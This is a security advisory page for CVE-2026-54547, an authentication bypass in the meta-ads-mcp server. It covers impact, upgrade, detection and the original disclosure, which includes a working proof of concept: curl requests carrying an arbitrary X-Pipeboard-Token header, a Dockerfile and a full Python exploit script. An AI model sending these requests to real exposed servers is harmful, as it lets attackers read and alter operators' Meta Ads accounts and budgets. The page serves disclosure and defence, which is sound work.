NewApp Monitoring is liveSign up free
AgentbeamBeta
AI agent vulnerability · Other MCP servers and tools

CVE-2026-54547: meta-ads-mcp: X-Pipeboard-Token Header Auth Bypass Reuses Operator Meta Token

highCVSS 3.1 7.4GHSA-2v2f-mvfg-ph56

meta-ads-mcp, the Meta Ads MCP server from Pipeboard, accepts any value in an `X-Pipeboard-Token` header as proof of login. In `streamable-http` mode with `META_ACCESS_TOKEN` set, an unauthenticated network caller can then run every MCP tool with the operator's Meta credentials. Versions before 1.0.115 are affected. Upgrade to 1.0.115.

Published Jul 17, 2026 · Analysis Oct 25, 2026

What an attacker can do

AuthInjectionMiddleware in meta_ads_mcp/core/http_auth_integration.py returns 401 only when both auth_token and pipeboard_token are missing. The helper extract_token_from_headers() reads Authorization: Bearer, X-META-ACCESS-TOKEN and X-PIPEBOARD-API-TOKEN, but not X-Pipeboard-Token. A different helper does read X-Pipeboard-Token, and fills pipeboard_token. A request with only that header, set to any string, makes auth_token empty and pipeboard_token truthy, so the guard passes.

No caller token is stored, so the token getter falls back to the META_ACCESS_TOKEN environment variable of the server. The @meta_api_tool decorator injects it into every tool call, and the server forwards it to the Meta Graph API.

An attacker who can reach the HTTP port can read ad accounts, campaigns, creatives, audiences and insights, and can create or change campaigns, ads and budgets as the operator. Meta error responses can also reveal details of the operator identity. The report's PoC shows 401 without the header and 200 with it, and 37 tools listed.

Only streamable-http deployments with META_ACCESS_TOKEN set are affected. The default stdio transport and servers without that variable are not. The CVSS vector rates attack complexity as high.

Who is affected

The pip package meta-ads-mcp before 1.0.115. The PoC was shown against 1.0.113. A server is exposed when it runs with --transport streamable-http, has META_ACCESS_TOKEN in its environment, and is reachable by the attacker over the network.

pip show meta-ads-mcp

Then check how the server is launched, and whether the HTTP port is open beyond localhost.

meta-ads-mcp

Ecosystem
PyPI
Affected
< 1.0.115
Fixed in
1.0.115
Check
pip show meta-ads-mcp

How to fix it

Upgrade to meta-ads-mcp 1.0.115:

pip install --upgrade "meta-ads-mcp>=1.0.115"

The release notes for 1.0.115 do not mention this bypass. They describe a separate SSRF fix in the upload_ad_image tool and recommend upgrading for anyone using streamable-http. The advisory data lists 1.0.115 as the patched version, so verify the behavior after upgrading by repeating the 401 test with only an X-Pipeboard-Token header.

The reporter's suggested code change is to require auth_token alone, and treat X-Pipeboard-Token only as a supplementary token. Until you upgrade, do not expose the HTTP port: bind to localhost or put an authenticating proxy in front, and consider rotating the Meta token if the port was open.

How to tell if you were hit

Look in the server's access logs or reverse-proxy logs for POSTs to /mcp carrying an X-Pipeboard-Token header with no Authorization header, which return 200 and not 401. Check for tools/call requests from unknown addresses, especially calls that read ad accounts or write campaigns, ads and budgets.

In Meta Ads Manager, review the activity history for changes you did not make, and check the token's use in Meta's logs. A Meta OAuthException with code 190 in server logs means a request reached Meta with a bad operator token. If the port was exposed, treat the Meta token as compromised and rotate it.

Original advisory

From the GitHub Advisory Database (CC BY 4.0).

X-Pipeboard-Token Header Auth Bypass Reuses Operator Meta Token

Summary

AuthInjectionMiddleware in meta-ads-mcp rejects HTTP MCP requests only when both auth_token and pipeboard_token are absent. Because extract_token_from_headers() does not recognise the X-Pipeboard-Token header, an attacker who sends that header with any arbitrary value produces auth_token = None and pipeboard_token = <attacker value>, making the guard condition evaluate to False and passing the request through. No authentication context is set; the token getter falls back to the server operator's META_ACCESS_TOKEN environment variable. Every subsequent MCP tool call executes with the operator's Meta credentials, allowing an unauthenticated network caller to read and write the operator's Meta Ads data.

Details

The vulnerable condition is at meta_ads_mcp/core/http_auth_integration.py:259:

# http_auth_integration.py:255-260
auth_token = FastMCPAuthIntegration.extract_token_from_headers(dict(request.headers))
pipeboard_token = FastMCPAuthIntegration.extract_pipeboard_token_from_headers(dict(request.headers))

if not auth_token and not pipeboard_token:      # ← bypass condition
    return Response(..., status_code=401)

extract_token_from_headers() (lines 77–95) recognises only Authorization: Bearer, X-META-ACCESS-TOKEN, and X-PIPEBOARD-API-TOKEN. It does not recognise X-Pipeboard-Token, so that header never populates auth_token.

extract_pipeboard_token_from_headers() (line 108) does recognise X-Pipeboard-Token, so sending that header alone produces:

auth_token      = None          # not set → guard reads False for left operand
pipeboard_token = "<anything>"  # truthy  → guard reads False for right operand
→ (not None) and (not "<anything>") = True and False = False → 401 never returned

After the bypass, set_auth_token() is never called (lines 283–291 only run when auth_token is truthy). The patched token getter at lines 163–168 resolves get_auth_token() = None, then delegates to original_get_current_access_token(). The fallback chain in auth.py:446–453 returns META_ACCESS_TOKEN from the server environment:

# auth.py:443-453
env_token = os.environ.get("META_ACCESS_TOKEN")
if env_token:
    return env_token

@meta_api_tool at api.py:390–396 injects this operator token into every tool's access_token kwarg. The sink at api.py:225–235 forwards it to the Meta Graph API via httpx.AsyncClient. Verified with accounts.py:42–62 (get_ad_accounts): the operator's ad account data is returned for valid tokens; for invalid tokens the Meta Graph API responds with an OAuthException, confirming the token traversed the full path.

Full data flow:

| Step | Location | Description |
| 1 | `http_auth_integration.py:255–257` | Middleware extracts attacker-controlled headers |
| 2 | `http_auth_integration.py:259` | Bypass: `X-Pipeboard-Token` alone satisfies guard |
| 3 | `http_auth_integration.py:288–291` | `auth_token` is `None`; auth context never set |
| 4 | `http_auth_integration.py:163–168` | Token getter falls back to original accessor |
| 5 | `auth.py:446–453` | `META_ACCESS_TOKEN` env var returned as access token |
| 6 | `api.py:390–396` | Operator token injected into tool kwargs |
| 7 | `accounts.py:42–62` | Tool invokes Meta Graph API with operator token |
| 8 | `api.py:225–235` | `httpx.AsyncClient` sends privileged HTTP request |

Recommended fix:

--- a/meta_ads_mcp/core/http_auth_integration.py
+++ b/meta_ads_mcp/core/http_auth_integration.py
-        if not auth_token and not pipeboard_token:
+        if not auth_token:

X-Pipeboard-Token should be treated as a supplementary service token only; it must not serve as a standalone authentication credential for MCP tool calls.

PoC

Prerequisites

  • Docker installed and the meta-ads-mcp repository available locally.
  • The server must be started in streamable-http mode (documented in STREAMABLE_HTTP_SETUP.md as a supported production deployment).

Step 1 — Build the Docker image

docker build \
  -t vuln001-meta-ads-mcp \
  -f /path/to/vuln-001/Dockerfile \
  /path/to/meta-ads-mcp-repo/

The Dockerfile installs the package from source, sets META_ACCESS_TOKEN=FAKE_OPERATOR_META_TOKEN_ABCDEF1234567890, and starts the server on port 8080.

Step 2 — Run the container

docker run -d -p 8081:8080 --name vuln001-test vuln001-meta-ads-mcp

Step 3 — Confirm the middleware is active (no-auth → 401)

curl -i -X POST http://127.0.0.1:8081/mcp \
  -H 'Content-Type: application/json' \
  -H 'Accept: application/json, text/event-stream' \
  -d '{"jsonrpc":"2.0","id":1,"method":"tools/list","params":{}}'
# Expected: HTTP/1.1 401  {"error":"Unauthorized",...}

Step 4 — Trigger the bypass (X-Pipeboard-Token only → 200)

curl -i -X POST http://127.0.0.1:8081/mcp \
  -H 'Content-Type: application/json' \
  -H 'Accept: application/json, text/event-stream' \
  -H 'X-Pipeboard-Token: attacker-controlled-not-validated' \
  -d '{"jsonrpc":"2.0","id":1,"method":"tools/list","params":{}}'
# Expected: HTTP/1.1 200  {"jsonrpc":"2.0","result":{"tools":[...]}}  (37 tools listed)

Step 5 — Confirm operator token is forwarded to Meta Graph API

curl -i -X POST http://127.0.0.1:8081/mcp \
  -H 'Content-Type: application/json' \
  -H 'Accept: application/json, text/event-stream' \
  -H 'X-Pipeboard-Token: attacker-controlled-not-validated' \
  -d '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"get_ad_accounts","arguments":{"limit":1}}}'
# Expected: HTTP 200 + Meta OAuthException (code 190) proving FAKE_OPERATOR_META_TOKEN
# was forwarded to Meta. With a real operator token, ad account data is returned.

Automated PoC script

python3 /path/to/vuln-001/poc.py http://127.0.0.1:8081/mcp

The script performs Tests 1–3 and prints RESULT: PASS — VULN-001 reproduced on success.

Observed output (dynamic reproduction)

Test 1 (no auth header)         → HTTP 401  {"error":"Unauthorized",...}
Test 2 (X-Pipeboard-Token only) → HTTP 200  {"jsonrpc":"2.0","result":{"tools":[...]}}  (37 tools)
Test 3 (tools/call, same header)→ HTTP 200  {"error":{"message":"Invalid OAuth access token data.","type":"OAuthException","code":190}}

Test 3 confirms that FAKE_OPERATOR_META_TOKEN was sent to Meta Graph API, proving the full operator-token reuse path.

Impact

This is an authentication bypass vulnerability. Any network-reachable caller that can send an HTTP request with an arbitrary X-Pipeboard-Token header can:

  • Read all Meta Ads data accessible to the server operator (ad accounts, campaigns, creatives, audiences, insights).
  • Write Meta Ads resources (create/update campaigns, ads, budgets) as the operator.
  • Exfiltrate the operator's identity via Meta Graph API error responses that reference the token.

Operators who deploy meta-ads-mcp in --transport streamable-http mode with META_ACCESS_TOKEN configured — the documented and recommended production setup — are directly affected. Deployments using the default stdio transport or those without META_ACCESS_TOKEN set are not affected.

Reproduction artifacts

Dockerfile

# VULN-001 PoC: X-Pipeboard-Token Auth Bypass (CWE-287)
# Runs meta-ads-mcp in streamable-http mode with a fake operator META_ACCESS_TOKEN.
# The server enforces auth via AuthInjectionMiddleware, but the bypass allows
# X-Pipeboard-Token alone to pass the middleware and reach tool handlers,
# which then fall back to the operator's META_ACCESS_TOKEN.
FROM python:3.11-slim

WORKDIR /app

# Install system dependencies
RUN apt-get update && apt-get install -y --no-install-recommends \
        curl \
    && rm -rf /var/lib/apt/lists/*

# Copy repository source (build context must be the repo root)
COPY . /app

# Install the package and its dependencies
RUN pip install --no-cache-dir -e .

# Fake operator token: length >= 20 so the server's basic validation passes.
# This is NOT a real Meta token — used only to prove the bypass path
# that reaches auth.py:446-453 (META_ACCESS_TOKEN fallback).
ENV META_ACCESS_TOKEN=FAKE_OPERATOR_META_TOKEN_ABCDEF1234567890
ENV META_APP_ID=999999999999999

# Disable any browser-launch attempts during startup
ENV DISPLAY=

EXPOSE 8080

# Start the MCP server with streamable-http transport.
# --host 0.0.0.0 is required so the container port is reachable from the host.
CMD ["python", "-m", "meta_ads_mcp", \
     "--transport", "streamable-http", \
     "--host", "0.0.0.0", \
     "--port", "8080"]

poc.py

#!/usr/bin/env python3
"""
PoC for VULN-001: X-Pipeboard-Token Header Auth Bypass Reuses Operator Meta Token

CVE class : CWE-287 Improper Authentication
Package   : meta-ads-mcp 1.0.113
File      : meta_ads_mcp/core/http_auth_integration.py:259

Vulnerability summary
---------------------
AuthInjectionMiddleware rejects requests only when BOTH auth_token AND
pipeboard_token are absent (line 259):
    if not auth_token and not pipeboard_token:
        return Response(status_code=401)

extract_token_from_headers() (lines 77-95) does NOT recognise the
"X-Pipeboard-Token" header — only "Authorization: Bearer",
"X-META-ACCESS-TOKEN", and "X-PIPEBOARD-API-TOKEN".

extract_pipeboard_token_from_headers() (line 108) DOES recognise
"X-Pipeboard-Token".

Consequence: an attacker that sends only "X-Pipeboard-Token: <anything>"
makes auth_token=None and pipeboard_token="<anything>". The bypass
condition becomes:
    if not None and not "<anything>":   # False — request passes
No auth context is set; the token getter (http_auth_integration.py:163-168)
falls back to get_current_access_token() in auth.py which returns the server
operator's META_ACCESS_TOKEN (auth.py:446-453). Tool calls then run as the
operator.

Expected evidence
-----------------
Test 1  No auth header  →  HTTP 401 from middleware
Test 2  X-Pipeboard-Token: <attacker value>  →  HTTP != 401 from MCP layer
        (proves bypass; further tool calls use operator token)

Usage
-----
The MCP server must already be running and reachable at 127.0.0.1:8080.
    docker run -d -p 8080:8080 --name vuln001 vuln001-meta-ads-mcp
    python3 poc.py
"""

import json
import sys
import time
import urllib.error
import urllib.request

# ---------------------------------------------------------------------------
# Default server URL; override via first CLI arg: python3 poc.py http://host:port/mcp
import os as _os

_DEFAULT_URL = "http://127.0.0.1:8080/mcp"
SERVER_URL = (
    sys.argv[1] if len(sys.argv) > 1 else _os.environ.get("MCP_SERVER_URL", _DEFAULT_URL)
)
# Arbitrary attacker-controlled value — NOT validated by the server
ATTACKER_PIPEBOARD_TOKEN = "attacker-controlled-not-validated-xyz1234567890"
SERVER_READY_TIMEOUT = 90  # seconds
# ---------------------------------------------------------------------------


def http_post(url: str, headers: dict, body: dict) -> tuple:
    """Send a JSON-encoded POST request; return (http_status, response_text)."""
    data = json.dumps(body).encode()
    req = urllib.request.Request(url, data=data, headers=headers, method="POST")
    try:
        with urllib.request.urlopen(req, timeout=10) as resp:
            return resp.status, resp.read().decode("utf-8", errors="replace")
    except urllib.error.HTTPError as exc:
        return exc.code, exc.read().decode("utf-8", errors="replace")
    except Exception as exc:
        return None, str(exc)


def wait_for_server(timeout: int = SERVER_READY_TIMEOUT) -> bool:
    """
    Poll until the server returns any HTTP response (even 401).
    Returns True when ready, False on timeout.
    """
    deadline = time.time() + timeout
    attempt = 0
    while time.time() < deadline:
        status, _ = http_post(
            SERVER_URL,
            {"Content-Type": "application/json"},
            {"jsonrpc": "2.0", "id": 0, "method": "ping"},
        )
        if status is not None:
            return True
        attempt += 1
        if attempt % 5 == 0:
            elapsed = int(time.time() - (deadline - timeout))
            print(f"    ... still waiting ({elapsed}s elapsed)")
        time.sleep(1)
    return False


def run_test(label: str, headers: dict, payload: dict) -> tuple:
    """Run one request, print result, and return (status, body)."""
    print(f"\n[*] {label}")
    status, body = http_post(SERVER_URL, headers, payload)
    print(f"    HTTP Status : {status}")
    # Print up to 600 chars so long MCP responses are readable
    print(f"    Response    : {body[:600]}")
    return status, body


def main() -> int:
    print("=" * 65)
    print("VULN-001 PoC: X-Pipeboard-Token Auth Bypass")
    print("meta-ads-mcp 1.0.113 | CWE-287 Improper Authentication")
    print("=" * 65)

    # -----------------------------------------------------------------------
    print("\n[*] Waiting for MCP server to be ready ...")
    if not wait_for_server():
        print(f"[-] ERROR: Server did not respond within {SERVER_READY_TIMEOUT}s")
        return 2
    print("[+] Server is ready")

    # Common headers for all requests
    base_headers = {
        "Content-Type": "application/json",
        "Accept": "application/json, text/event-stream",
    }

    # A minimal MCP JSON-RPC payload.  In stateless-HTTP mode the server
    # processes each request independently; tools/list does not require a
    # prior initialize handshake.
    list_payload = {
        "jsonrpc": "2.0",
        "id": 1,
        "method": "tools/list",
        "params": {},
    }

    # -----------------------------------------------------------------------
    # Test 1: No authentication — must be rejected with 401
    # -----------------------------------------------------------------------
    status1, body1 = run_test(
        "Test 1: POST /mcp — no auth header at all",
        base_headers,
        list_payload,
    )

    if status1 != 401:
        print(f"[-] UNEXPECTED: Expected HTTP 401 without auth, got {status1}")
        print("    Middleware may not be active. Cannot assess bypass.")
        return 2

    try:
        parsed = json.loads(body1)
        if parsed.get("error") != "Unauthorized":
            print("[-] UNEXPECTED body (expected {\"error\": \"Unauthorized\"})")
            return 2
    except json.JSONDecodeError:
        pass  # Body format is secondary evidence

    print("[+] CONFIRMED: No-auth request correctly rejected with HTTP 401")

    # -----------------------------------------------------------------------
    # Test 2: Only X-Pipeboard-Token — must NOT be 401 if bypass works
    #
    # Vulnerability logic (http_auth_integration.py:259):
    #   auth_token    = extract_token_from_headers(headers)       -> None
    #   pipeboard_token = extract_pipeboard_token_from_headers(headers) -> ATTACKER_VALUE
    #   if not None and not ATTACKER_VALUE:   # evaluates False -> request passes
    #   # set_auth_token() never called -> auth context stays None
    #   # tool getter falls back to META_ACCESS_TOKEN env var
    # -----------------------------------------------------------------------
    bypass_headers = {
        **base_headers,
        "X-Pipeboard-Token": ATTACKER_PIPEBOARD_TOKEN,
    }
    status2, body2 = run_test(
        f"Test 2: POST /mcp — only X-Pipeboard-Token: {ATTACKER_PIPEBOARD_TOKEN}",
        bypass_headers,
        list_payload,
    )

    if status2 == 401:
        print("\n[-] BYPASS FAILED: Got HTTP 401 with X-Pipeboard-Token.")
        print("    The vulnerability may have been patched on this build.")
        return 1

    print(f"\n[+] AUTH BYPASS CONFIRMED: HTTP {status2} (not 401)")
    print("    The middleware accepted the request with X-Pipeboard-Token alone.")
    print("    auth_token was None -> set_auth_token() not called ->")
    print("    get_auth_token() returns None -> META_ACCESS_TOKEN fallback active.")

    # Extra detail: check if we can see MCP tool names in the response
    try:
        parsed2 = json.loads(body2)
        tools = parsed2.get("result", {}).get("tools", [])
        if tools:
            print(f"\n    MCP tools/list returned {len(tools)} tools (server fully reachable):")
            for t in tools[:5]:
                print(f"      - {t.get('name', '?')}")
    except Exception:
        pass

    # -----------------------------------------------------------------------
    # Test 3: tools/call get_ad_accounts — operator token forwarded to Meta
    # The Meta Graph API will reject the FAKE token, but the error response
    # proves the request reached Meta (not the local 401 guard).
    # -----------------------------------------------------------------------
    call_payload = {
        "jsonrpc": "2.0",
        "id": 2,
        "method": "tools/call",
        "params": {
            "name": "get_ad_accounts",
            "arguments": {"limit": 1},
        },
    }
    status3, body3 = run_test(
        "Test 3: tools/call get_ad_accounts with X-Pipeboard-Token only",
        bypass_headers,
        call_payload,
    )

    if status3 != 401:
        print(f"\n[+] OPERATOR TOKEN CONFIRMED IN USE: HTTP {status3}")
        print("    The tool call was not blocked locally. The server forwarded")
        print("    the request to Meta Graph API using META_ACCESS_TOKEN.")
        if "OAuthException" in body3 or "Invalid OAuth" in body3:
            print("    Meta Graph API returned an OAuthException about the")
            print("    FAKE_OPERATOR_META_TOKEN — confirming the token was forwarded.")
        elif "error" in body3.lower():
            print("    Meta Graph API (or MCP layer) returned an error response")
            print("    — the request reached the tool handler, not the local 401 guard.")
    else:
        print("[!] Note: tools/call returned 401 — may need MCP initialize first")

    # -----------------------------------------------------------------------
    print("\n" + "=" * 65)
    print("RESULT: PASS — VULN-001 reproduced")
    print()
    print("Evidence:")
    print(f"  Test 1 (no header)           -> HTTP {status1} (blocked by middleware)")
    print(f"  Test 2 (X-Pipeboard-Token)   -> HTTP {status2} (BYPASSES middleware)")
    print()
    print("The distinction proves that AuthInjectionMiddleware at")
    print("http_auth_integration.py:259 is the exploitable boundary.")
    print("An attacker can reach all MCP tools as the server operator by")
    print('sending any value in the "X-Pipeboard-Token" header.')
    print("=" * 65)
    return 0


if __name__ == "__main__":
    sys.exit(main())

Credited to EQSTLab.

Questions

Do I need to be logged in to exploit CVE-2026-54547?

No. The attacker sends any value in an X-Pipeboard-Token header. The middleware does not validate it, and the server then uses its own META_ACCESS_TOKEN for tool calls.

Is the default stdio setup affected?

No. The advisory says deployments on the default stdio transport, or without META_ACCESS_TOKEN, are not affected. The risk is in streamable-http mode with that variable set.

What can an attacker do with it?

Read and change Meta Ads data the operator can access: accounts, campaigns, creatives, audiences, insights, ads and budgets.

Which version fixes it?

meta-ads-mcp 1.0.115. Its release notes mention a separate SSRF fix and not this bypass, so test it after upgrading.

References

How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. The analysis is written by an AI model from the sources listed above and checked by automated rules before it is published. Check versions against the vendor's advisory before you act. Methodology

More Other MCP servers and tools vulnerabilities

All Other MCP servers and tools entries